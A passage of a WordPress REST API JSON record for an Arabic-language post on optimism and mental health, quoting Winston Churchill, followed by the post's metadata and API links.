\u0645\u0646 \u0645\u0624\u0634\u0631\u0627\u062a \u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u0646\u0641\u0633\u064a\u0629\u060c \u0648\u0639\u0627\u062f\u0629 \u0645\u0627 \u062a\u0641\u0647\u0645 \u062f\u0644\u0627\u0644\u0627\u062a \u0645\u0635\u0637\u0644\u062d \u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u0645\u0646 \u0642\u0628\u0644 \u0631\u062c\u0644 \u0627\u0644\u0634\u0627\u0631\u0639 \u0627\u0644\u0639\u0627\u062f\u064a \u0648\u0641\u0642\u064b\u0627 \u0644\u0645\u0642\u0648\u0644\u0629 \u0648\u064a\u0646\u0633\u062a\u0648\u0646 \u062a\u0634\u0631\u0634\u0644 Winston Churchill \u0648\u0627\u0644\u062a\u064a \u0645\u0641\u0627\u062f\u0647\u0627 \u0623\u0646 &#8220;\u0627\u0644\u0645\u062a\u0634\u0627\u0626\u0645 \u064a\u0631\u0649 &hellip;<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"_links":{"self":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/posts\/20515"}],"collection":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=20515"}],"version-history":[{"count":0,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/posts\/20515\/revisions"}],"wp:attachment":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=20515"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=20515"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=20515"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}